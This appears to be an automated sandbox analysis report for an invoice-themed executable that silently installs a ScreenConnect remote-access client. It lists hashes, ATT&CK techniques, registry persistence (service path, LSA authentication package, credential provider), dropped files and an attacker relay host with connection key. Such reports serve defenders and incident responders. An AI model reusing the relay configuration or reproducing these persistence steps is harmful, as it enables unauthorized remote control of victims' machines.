670be5276e9cfb8ac71c870902de0e55ca467c8fb3b7b7d993a91112557f9376

Analysis

max time kernel
43s
max time network
107s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
18-02-2025 08:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Invoice4231284.exe
Size

5.4MB
MD5

f223c16f11e3c4350f34d51d44498877
SHA1

1dc62cdb40dabc991ad3ba4dea1a342e99fdb5a5
SHA256

670be5276e9cfb8ac71c870902de0e55ca467c8fb3b7b7d993a91112557f9376
SHA512

45c3fe528fc31f99ef200153058695ae2b8bf2ef5a4e7f040b984ae36e1acb8a070301d64061c9da49f753be601542e8ad41793220b5026755639ecacb2c8fe4
SSDEEP

49152:xEEL5cx5xTkYJkGYYpT0+TFiH7efP8Q1yJJ4ZD1F5z97oL1YbGQ+okRPGHpRPqM8:GEs6efPNwJ4t1h0cG5FGJRPxow8O

Score

8^/10

discovery persistence privilege_escalation

Malware Config

Signatures

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\ScreenConnect Client (e89d9b3b19f1f9d9)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (e89d9b3b19f1f9d9)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-mopgxp-relay.screenconnect.com&p=443&s=2aaa978e-affa-4616-a28f-bd6c1b11fc16&k=BgIAAACkAABSU0ExAAgAAAEAAQDxpGM0rTI0l8R0YLrTUzvMcrFQNqikChKeeFwAqXuisgso7fbvFB9droohm6UmQv424CATiaSN1Dt5a7kzqYdmjZ4VE89TMUaaWTKGqR%2f3mJaR3nx5CFRFBOcbC4aJ%2fYGQruf%2fG%2bwSiyyJUq81chi9Q%2bjeSddfXje0sdUcQjXy%2bwQ9pYBKEIBykIjdfke7XkghkNvuPAzOOFFT3Zw51dAeVb95GKEPqua3UVbsvJelXXUIjHU9JgO8mvqdK8BkIEpRk7Kw5rM%2b9U4lOr155WB1ziC%2fwZ8c7Nh9LiDyyrrXdxR%2b431d8YgPdkT8%2fWN%2bnHbTsnYgWJodyh8tx0u7qg6t&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAY9fOoJ%2f%2bJkmzNd4vNvEuKwAAAAACAAAAAAAQZgAAAAEAACAAAAADFtPTEiGZCQ2iUnVn7GZgW950MmAw6DC5f2tidYXcUwAAAAAOgAAAAAIAACAAAADIxZxZ3sw00MQk3EPI6cn15MU0TMKHtSsWt9vYDEv2BqAEAADjikCsAXnjXu6%2bmkKaPh5BkT2RqYdyZLl6XawEtNWEKNNxcuVNKpLSNum1EGoe5EJMOqepCE%2bliuhf5rfr6RTdSF46TB74lStzeQ0ENeT9i2JIVFG7XVlgdPfCWPyyoaXkHUolcGC6kcR%2fizeX74RdOjktb%2fpWK7%2fSAmpJzIoYPjYa6d11hLFMm4LIRseWnP4OYG6nDNFZQBbyDnVbxyWNNLRxOstvx5r2rYGysGQvMhCG%2ffO9Rvw94UvZ2KDoI%2biehyjNcwH5J6BNfaHyLZWpTW2k8Qz8SSTPZ4q1WDGBNi0x5LV4bD5OZMx3EYcn4%2b25SHtTie5XXZGY%2bgfUQ6uS3yHzlxNGW8Tvw3vTlc%2ftQ7F%2b8BvBd1KQF7oOUTUwAoIpaEYCNgh4CXMmQNL%2b9dZOwCh452ZiYb%2bxYa7nR3JiuOUEz1jvv3T85aNBqWqpJL6x0rqFetA0BNS2rW88zT7EpxcuTESvSuaP75boLdzl3LvhXZcpcZUqnzHl4PgjBj2J4NYWLsiln5DOO988%2fveLNmzRLlAYY%2fWD16Rc1te2Rdss%2bcXXjJeHd3lr0pXdxDB1UCvm2aRiHh6VIVNAu4%2b4O%2f7uMfxij7pGC8ZGkveAKXCFuOXoIHpY%2b2uQtiCmKo%2fAdcaExrdlH1%2bIFZS1sVUhWmzGnCdj984kSmJ09vdTDeb%2btDN1EXzNlD%2bHOH0jqfQujF42Y84OdjIm5D1YhVaHP2867hKhP7EP8qpMVo9J%2fOzb5ZtJlPwXWgGR1wq%2b3kH4IgxW2Hm%2fNzqP82UsJQnzUjMtKKAopOayIsEpXd%2bWUnZGS6XzwAdqfLNtQ8dwaTiGiGLoxhLE5C5KgUTqpv6Wir5wwsS%2fC1XEn1PioiBQ1CKo5oPuovURZj0WNeK7gcAuCFJxbfJtZov%2baDISggrYy%2fhtA07x1Gw1qgKxHmx%2fR9f%2bvBxG3bURDagIy%2fG8tHofHZ2J1oX9MneaSrA1%2fcr6M%2f2WbygOVaAHyX64tba1P4yKqUNfe8HkjT2SbHuGM15ONAgNsxCObQIjKPEmvz4la%2fREYBEh3gsNvOFsyzBA6qsRbLMQPaR8akt5rsaN%2ffJs80SY7oBrC%2b3T6rNVqc%2bsLAdAhtCKxZaE2qlKWwkaKb%2fmDGoKij0abXLcN%2fMb2GLM6yCrPLBKF%2fXGWt288a62ehmRpDAUNK1unW%2bOsSH56VJkj%2fyDh8vCCfeOPxtbP24K4%2bajL%2bew1RlMv8M49FEv6Ppt04Vg%2b%2bhpNNf5IhqaMto7pE4axE7vultUueDwaNRSdIDu9Nn1YZ3XilZh8jMSxGOhbTdwBccV3UcCdpAJiqKY8XbmGvfwTvKCcyaqVl7V9WxGPRVbboCKbUeVZFcqb5gfJR%2bC5EZ8qNij92IRVg3QKCGeIITfjQ1g%2fhvXrNMyEWM%2fgCslGQ9WbyKf%2fnUMsRPsSeFoYr8rE9tJdfw916pdo8N2%2bl%2ftNpzKJap16MU6U7BQo1MCCpCfbvJWknF%2bPXwT52asKhaT3Mq%2blGbNVF84ItOmaICE%2fe334OBZjKhR5fAbf89RlgPowj1de34u573R346NvzAsXVQPeGvDP0AAAABfkvZrecOoI9xoBUYwj5MY9jCeCS1SD%2bfvv5EYXuwpi3WFJwABI3oOce1uWmY8oqAAEuuUg1jfqZhEZWgIEp9u&c=joemark%20llc&c=melnimer.com&c=melnimer&c=pc&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800650038003900640039006200330062003100390066003100660039006400390029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e89d9b3b19f1f9d9)\ojqzkojj.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e89d9b3b19f1f9d9)\ojqzkojj.newcfg	ScreenConnect.ClientService.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\Client.resources	msiexec.exe

Drops file in Windows directory 15 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{ADA784A1-C395-D9C2-2EBC-191D5AF0BE1D}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6A2B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{ADA784A1-C395-D9C2-2EBC-191D5AF0BE1D}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\f785ed3.msi	msiexec.exe
File created	C:\Windows\Installer\f785ed4.ipi	msiexec.exe
File created	C:\Windows\Installer\wix{ADA784A1-C395-D9C2-2EBC-191D5AF0BE1D}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\f785ed3.msi	msiexec.exe
File created	C:\Windows\Installer\f785ed6.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\f785ed4.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI63F2.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\MSI63C2.tmp	msiexec.exe

Executes dropped EXE 3 IoCs

pid	Process
1948	ScreenConnect.ClientService.exe
2008	ScreenConnect.WindowsClient.exe
2440	ScreenConnect.WindowsClient.exe

Loads dropped DLL 25 IoCs

pid	Process
3016	MsiExec.exe
2904	rundll32.exe
2904	rundll32.exe
2904	rundll32.exe
2904	rundll32.exe
2904	rundll32.exe
2904	rundll32.exe
2904	rundll32.exe
2904	rundll32.exe
2904	rundll32.exe
2068	MsiExec.exe
1468	MsiExec.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Invoice4231284.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe

Modifies registry class 37 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e89d9b3b19f1f9d9\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3385-63DE6FEFC488}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9B8F23ECEB6928F78ED9B9B3911F9F9D\1A487ADA593C2C9DE2CB91D1A50FEBD1	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e89d9b3b19f1f9d9\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3385-63DE6FEFC488}\ = "ScreenConnect Client (e89d9b3b19f1f9d9) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3385-63DE6FEFC488}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (e89d9b3b19f1f9d9)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9B8F23ECEB6928F78ED9B9B3911F9F9D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e89d9b3b19f1f9d9	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e89d9b3b19f1f9d9\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\1A487ADA593C2C9DE2CB91D1A50FEBD1\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\PackageCode = "1A487ADA593C2C9DE2CB91D1A50FEBD1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-e89d9b3b19f1f9d9\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e89d9b3b19f1f9d9\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (e89d9b3b19f1f9d9)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3385-63DE6FEFC488}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\Version = "402849799"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\e89d9b3b19f1f9d9\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-e89d9b3b19f1f9d9	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\ProductName = "ScreenConnect Client (e89d9b3b19f1f9d9)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\ProductIcon = "C:\\Windows\\Installer\\{ADA784A1-C395-D9C2-2EBC-191D5AF0BE1D}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e89d9b3b19f1f9d9\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3385-63DE6FEFC488}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e89d9b3b19f1f9d9\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\e89d9b3b19f1f9d9\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\1A487ADA593C2C9DE2CB91D1A50FEBD1	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1A487ADA593C2C9DE2CB91D1A50FEBD1\Language = "1033"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3008	msiexec.exe
3008	msiexec.exe
1948	ScreenConnect.ClientService.exe
1948	ScreenConnect.ClientService.exe
